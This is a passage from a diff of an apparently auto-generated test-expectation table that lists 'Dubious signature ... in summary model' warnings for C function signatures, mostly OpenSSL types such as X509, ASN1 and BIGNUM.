signature "(X509V3_CTX *,CONF *)" in summary model. | +| Dubious signature "(X509V3_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)" in summary model. | +| Dubious signature "(X509V3_CTX *,lhash_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,ASN1_BIT_STRING *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,ASN1_IA5STRING *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,ASN1_UTF8STRING *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,GENERAL_NAME *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,GENERAL_NAMES *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,const ASN1_ENUMERATED *)" in summary model. | +| Dubious signature "(X509V3_EXT_METHOD *,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_ACERT *)" in summary model. | +| Dubious signature "(X509_ACERT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_ACERT *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(X509_ACERT *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_ACERT *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(X509_ACERT *,const ASN1_OBJECT *,int,const void *,int)" in summary model. | +| Dubious signature "(X509_ACERT *,const X509_NAME *)" in summary model. | +| Dubious signature "(X509_ACERT *,const char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_ACERT *,int)" in summary model. | +| Dubious signature "(X509_ACERT *,int,int,const void *,int)" in summary model. | +| Dubious signature "(X509_ACERT *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(X509_ACERT_INFO *)" in summary model. | +| Dubious signature "(X509_ACERT_ISSUER_V2FORM *)" in summary model. | +| Dubious signature "(X509_ALGOR *)" in summary model. | +| Dubious signature "(X509_ALGOR **,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_ALGOR **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_ALGOR *,ASN1_OBJECT *,int,void *)" in summary model. | +| Dubious signature "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)" in summary model. | +| Dubious signature "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509_ALGOR *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_ALGOR *,const X509_ALGOR *)" in summary model. | +| Dubious signature "(X509_ALGOR *,int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(X509_ALGORS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE **,int,int,const void *,int)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_ATTRIBUTE *,int)" in summary model. | +| Dubious signature "(X509_CERT_AUX *)" in summary model. | +| Dubious signature "(X509_CERT_AUX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_CINF *)" in summary model. | +| Dubious signature "(X509_CINF **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_CRL *)" in summary model. | +| Dubious signature "(X509_CRL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_CRL *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(X509_CRL *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_CRL *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int)" in summary model. | +| Dubious signature "(X509_CRL *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(X509_CRL *,const X509_NAME *)" in summary model. | +| Dubious signature "(X509_CRL *,int)" in summary model. | +| Dubious signature "(X509_CRL *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(X509_CRL *,unsigned char **)" in summary model. | +| Dubious signature "(X509_CRL *,void *)" in summary model. | +| Dubious signature "(X509_CRL_INFO *)" in summary model. | +| Dubious signature "(X509_CRL_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_EXTENSION *)" in summary model. | +| Dubious signature "(X509_EXTENSION **,const ASN1_OBJECT *,int,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_EXTENSION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_EXTENSION **,int,int,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_EXTENSION *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_EXTENSION *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_EXTENSIONS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_LOOKUP *,void *)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_ctrl_fn)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_alias_fn)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_fingerprint_fn)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_issuer_serial_fn)" in summary model. | +| Dubious signature "(X509_LOOKUP_METHOD *,X509_LOOKUP_get_by_subject_fn)" in summary model. | +| Dubious signature "(X509_NAME *)" in summary model. | +| Dubious signature "(X509_NAME **,const X509_NAME *)" in summary model. | +| Dubious signature "(X509_NAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_NAME *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(X509_NAME *,const X509_NAME_ENTRY *,int,int)" in summary model. | +| Dubious signature "(X509_NAME *,int)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY *)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY **,const char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY **,int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_NAME_ENTRY *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(X509_OBJECT *,X509 *)" in summary model. | +| Dubious signature "(X509_OBJECT *,X509_CRL *)" in summary model. | +| Dubious signature "(X509_POLICY_LEVEL *)" in summary model. | +| Dubious signature "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)" in summary model. | +| Dubious signature "(X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int)" in summary model. | +| Dubious signature "(X509_PUBKEY *)" in summary model. | +| Dubious signature "(X509_PUBKEY **,EVP_PKEY *)" in summary model. | +| Dubious signature "(X509_PUBKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)" in summary model. | +| Dubious signature "(X509_PUBKEY *,unsigned char *,int)" in summary model. | +| Dubious signature "(X509_REQ *)" in summary model. | +| Dubious signature "(X509_REQ **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_REQ *,ASN1_BIT_STRING *)" in summary model. | +| Dubious signature "(X509_REQ *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509_REQ *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(X509_REQ *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *)" in summary model. | +| Dubious signature "(X509_REQ *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509_REQ *,X509_ALGOR *)" in summary model. | +| Dubious signature "(X509_REQ *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(X509_REQ *,const X509_NAME *)" in summary model. | +| Dubious signature "(X509_REQ *,const char *)" in summary model. | +| Dubious signature "(X509_REQ *,int)" in summary model. | +| Dubious signature "(X509_REQ *,unsigned char **)" in summary model. | +| Dubious signature "(X509_REQ_INFO *)" in summary model. | +| Dubious signature "(X509_REQ_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_REVOKED *)" in summary model. | +| Dubious signature "(X509_REVOKED **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_REVOKED *,ASN1_TIME *)" in summary model. | +| Dubious signature "(X509_REVOKED *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(X509_REVOKED *,int)" in summary model. | +| Dubious signature "(X509_REVOKED *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(X509_SIG *)" in summary model. | +| Dubious signature "(X509_SIG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)" in summary model. | +| Dubious signature "(X509_SIG_INFO *,int,int,int,uint32_t)" in summary model. | +| Dubious signature "(X509_STORE *)" in summary model. | +| Dubious signature "(X509_STORE *,X509_LOOKUP_METHOD *)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_cert_crl_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_check_crl_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_check_issued_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_check_policy_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_check_revocation_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_cleanup_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_get_crl_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_get_issuer_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_lookup_certs_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_lookup_crls_fn)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_verify_cb)" in summary model. | +| Dubious signature "(X509_STORE *,X509_STORE_CTX_verify_fn)" in summary model. | +| Dubious signature "(X509_STORE *,const X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_STORE *,int)" in summary model. | +| Dubious signature "(X509_STORE *,unsigned long)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,SSL_DANE *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509 *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509 *,int)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE *,EVP_PKEY *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE_CTX_get_crl_fn)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE_CTX_verify_cb)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_STORE_CTX_verify_fn)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,int)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,int,int,int)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,stack_st_X509_CRL *)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,unsigned int)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,unsigned long)" in summary model. | +| Dubious signature "(X509_STORE_CTX *,unsigned long,time_t)" in summary model. | +| Dubious signature "(X509_VAL *)" in summary model. | +| Dubious signature "(X509_VAL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,const char *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,const char *,size_t)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,int)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,stack_st_ASN1_OBJECT *)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,time_t)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,uint32_t)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,unsigned int)" in summary model. | +| Dubious signature "(X509_VERIFY_PARAM *,unsigned long)" in summary model. | | Dubious signature "(XCHAR *,const XCHAR *,int)" in summary model. | | Dubious signature "(XCHAR *,size_t,const XCHAR *,int)" in summary model. | +| Dubious signature "(action **,e_action,symbol *,char *)" in summary model. | +| Dubious signature "(action *,FILE *,int)" in summary model. | +| Dubious signature "(acttab *)" in summary model. | +| Dubious signature "(acttab *,int)" in summary model. | +| Dubious signature "(acttab *,int,int)" in summary model. | | Dubious signature "(char *)" in summary model. | +| Dubious signature "(char **)" in summary model. | +| Dubious signature "(char **,s_options *,FILE *)" in summary model. | +| Dubious signature "(char *,EVP_CIPHER_INFO *)" in summary model. | +| Dubious signature "(char *,FILE *,FILE *,int *)" in summary model. | +| Dubious signature "(char *,const char *,const char *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(char *,const char *,int,const char *)" in summary model. | +| Dubious signature "(char *,const char *,size_t)" in summary model. | +| Dubious signature "(char *,int)" in summary model. | +| Dubious signature "(char *,int,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(char *,int,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(char *,int,int,void *)" in summary model. | +| Dubious signature "(char *,size_t)" in summary model. | +| Dubious signature "(char *,size_t,const char *,...)" in summary model. | +| Dubious signature "(char *,size_t,const char *,va_list)" in summary model. | +| Dubious signature "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)" in summary model. | +| Dubious signature "(char *,size_t,size_t *,const OSSL_PARAM[],void *)" in summary model. | +| Dubious signature "(char *,size_t,size_t *,const unsigned char *,size_t,const char)" in summary model. | +| Dubious signature "(char *,uint8_t)" in summary model. | +| Dubious signature "(char *,unsigned int)" in summary model. | | Dubious signature "(char,const CStringT &)" in summary model. | +| Dubious signature "(config *)" in summary model. | +| Dubious signature "(config *,config *)" in summary model. | +| Dubious signature "(const ACCESS_DESCRIPTION *,unsigned char **)" in summary model. | +| Dubious signature "(const ADMISSIONS *)" in summary model. | +| Dubious signature "(const ADMISSIONS *,unsigned char **)" in summary model. | +| Dubious signature "(const ADMISSION_SYNTAX *)" in summary model. | +| Dubious signature "(const ADMISSION_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const ASIdOrRange *,unsigned char **)" in summary model. | +| Dubious signature "(const ASIdentifierChoice *,unsigned char **)" in summary model. | +| Dubious signature "(const ASIdentifiers *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_BIT_STRING **,const X509_ALGOR **,const X509 *)" in summary model. | +| Dubious signature "(const ASN1_BIT_STRING *,int)" in summary model. | +| Dubious signature "(const ASN1_BIT_STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_BMPSTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_ENUMERATED *)" in summary model. | +| Dubious signature "(const ASN1_ENUMERATED *,BIGNUM *)" in summary model. | +| Dubious signature "(const ASN1_ENUMERATED *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_GENERALIZEDTIME *)" in summary model. | +| Dubious signature "(const ASN1_GENERALIZEDTIME *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_GENERALSTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_IA5STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const ASN1_INTEGER *,BIGNUM *)" in summary model. | +| Dubious signature "(const ASN1_INTEGER *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const ASN1_INTEGER *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,ASN1_VALUE **,char **,BIO **,BIO *,int *,const char *,int,int)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,BIO *,const void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,BIO *,void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,FILE *,const void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,FILE *,void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const ASN1_TYPE *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const ASN1_VALUE *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,const void *)" in summary model. | +| Dubious signature "(const ASN1_ITEM *,void *,ASN1_TYPE **)" in summary model. | +| Dubious signature "(const ASN1_NULL *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *)" in summary model. | +| Dubious signature "(const ASN1_OBJECT *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(const ASN1_OBJECT *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)" in summary model. | +| Dubious signature "(const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(const ASN1_OCTET_STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_PCTX *)" in summary model. | +| Dubious signature "(const ASN1_PRINTABLESTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_SEQUENCE_ANY *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_STRING *)" in summary model. | +| Dubious signature "(const ASN1_STRING *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const ASN1_STRING *,const ASN1_STRING *)" in summary model. | +| Dubious signature "(const ASN1_STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_T61STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_TIME *)" in summary model. | +| Dubious signature "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)" in summary model. | +| Dubious signature "(const ASN1_TIME *,time_t *)" in summary model. | +| Dubious signature "(const ASN1_TIME *,tm *)" in summary model. | +| Dubious signature "(const ASN1_TIME *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_TYPE *)" in summary model. | +| Dubious signature "(const ASN1_TYPE *,const ASN1_TYPE *)" in summary model. | +| Dubious signature "(const ASN1_TYPE *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_UNIVERSALSTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_UTCTIME *)" in summary model. | +| Dubious signature "(const ASN1_UTCTIME *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_UTF8STRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASN1_VALUE **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const ASN1_VALUE **,const ASN1_TEMPLATE *)" in summary model. | +| Dubious signature "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)" in summary model. | +| Dubious signature "(const ASN1_VALUE *,const ASN1_TEMPLATE *,int)" in summary model. | +| Dubious signature "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const ASN1_VISIBLESTRING *,unsigned char **)" in summary model. | +| Dubious signature "(const ASRange *,unsigned char **)" in summary model. | +| Dubious signature "(const AUTHORITY_INFO_ACCESS *,unsigned char **)" in summary model. | +| Dubious signature "(const AUTHORITY_KEYID *,unsigned char **)" in summary model. | +| Dubious signature "(const BASIC_CONSTRAINTS *,unsigned char **)" in summary model. | +| Dubious signature "(const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,ASN1_ENUMERATED *)" in summary model. | +| Dubious signature "(const BIGNUM *,ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const BIGNUM *,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const BIGNUM *,const BIGNUM *,int *)" in summary model. | +| Dubious signature "(const BIGNUM *,int)" in summary model. | +| Dubious signature "(const BIGNUM *,int,..(*)(..),BN_CTX *,void *)" in summary model. | +| Dubious signature "(const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int)" in summary model. | +| Dubious signature "(const BIGNUM *,int,BN_CTX *,BN_GENCB *)" in summary model. | +| Dubious signature "(const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *)" in summary model. | +| Dubious signature "(const BIGNUM *,int,BN_CTX *,int,BN_GENCB *)" in summary model. | +| Dubious signature "(const BIGNUM *,int,size_t *)" in summary model. | +| Dubious signature "(const BIGNUM *,int[],int)" in summary model. | +| Dubious signature "(const BIGNUM *,unsigned char *)" in summary model. | +| Dubious signature "(const BIGNUM *,unsigned char *,int)" in summary model. | +| Dubious signature "(const BIGNUM *,unsigned long)" in summary model. | +| Dubious signature "(const BIO *)" in summary model. | +| Dubious signature "(const BIO *,int)" in summary model. | +| Dubious signature "(const BIO_ADDR *)" in summary model. | +| Dubious signature "(const BIO_ADDR *,void *,size_t *)" in summary model. | +| Dubious signature "(const BIO_ADDRINFO *)" in summary model. | +| Dubious signature "(const BIO_METHOD *)" in summary model. | +| Dubious signature "(const BN_BLINDING *)" in summary model. | | Dubious signature "(const CComBSTR &)" in summary model. | | Dubious signature "(const CComSafeArray &)" in summary model. | +| Dubious signature "(const CERTIFICATEPOLICIES *,unsigned char **)" in summary model. | +| Dubious signature "(const CMS_CTX *)" in summary model. | +| Dubious signature "(const CMS_ContentInfo *)" in summary model. | +| Dubious signature "(const CMS_ContentInfo *,BIO *,int)" in summary model. | +| Dubious signature "(const CMS_ContentInfo *,unsigned char **)" in summary model. | +| Dubious signature "(const CMS_EnvelopedData *)" in summary model. | +| Dubious signature "(const CMS_ReceiptRequest *,unsigned char **)" in summary model. | +| Dubious signature "(const CMS_SignerInfo *)" in summary model. | +| Dubious signature "(const CMS_SignerInfo *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const CMS_SignerInfo *,int)" in summary model. | +| Dubious signature "(const CMS_SignerInfo *,int,int)" in summary model. | +| Dubious signature "(const COMP_CTX *)" in summary model. | +| Dubious signature "(const COMP_METHOD *)" in summary model. | +| Dubious signature "(const CONF *)" in summary model. | +| Dubious signature "(const CONF_IMODULE *)" in summary model. | +| Dubious signature "(const CRL_DIST_POINTS *,unsigned char **)" in summary model. | +| Dubious signature "(const CRYPTO_EX_DATA *)" in summary model. | +| Dubious signature "(const CRYPTO_EX_DATA *,int)" in summary model. | | Dubious signature "(const CSimpleStringT &)" in summary model. | | Dubious signature "(const CStaticString &)" in summary model. | | Dubious signature "(const CStringT &)" in summary model. | @@ -37,44 +2531,1247 @@ | Dubious signature "(const CStringT &,char)" in summary model. | | Dubious signature "(const CStringT &,const CStringT &)" in summary model. | | Dubious signature "(const CStringT &,wchar_t)" in summary model. | +| Dubious signature "(const CTLOG *)" in summary model. | +| Dubious signature "(const CTLOG *,const uint8_t **,size_t *)" in summary model. | +| Dubious signature "(const CTLOG_STORE *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const CT_POLICY_EVAL_CTX *)" in summary model. | +| Dubious signature "(const DH *)" in summary model. | +| Dubious signature "(const DH *,const BIGNUM *)" in summary model. | +| Dubious signature "(const DH *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DH *,const BIGNUM *,int *)" in summary model. | +| Dubious signature "(const DH *,int *)" in summary model. | +| Dubious signature "(const DH *,int)" in summary model. | +| Dubious signature "(const DH *,unsigned char **)" in summary model. | +| Dubious signature "(const DH *,unsigned char **,size_t,int)" in summary model. | +| Dubious signature "(const DH_METHOD *)" in summary model. | +| Dubious signature "(const DH_NAMED_GROUP *)" in summary model. | +| Dubious signature "(const DIST_POINT *,unsigned char **)" in summary model. | +| Dubious signature "(const DIST_POINT_NAME *)" in summary model. | +| Dubious signature "(const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *)" in summary model. | +| Dubious signature "(const DIST_POINT_NAME *,unsigned char **)" in summary model. | +| Dubious signature "(const DSA *)" in summary model. | +| Dubious signature "(const DSA *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const DSA *,const BIGNUM *,int *)" in summary model. | +| Dubious signature "(const DSA *,int)" in summary model. | +| Dubious signature "(const DSA *,int,int *)" in summary model. | +| Dubious signature "(const DSA *,unsigned char **)" in summary model. | +| Dubious signature "(const DSA_METHOD *)" in summary model. | +| Dubious signature "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)" in summary model. | +| 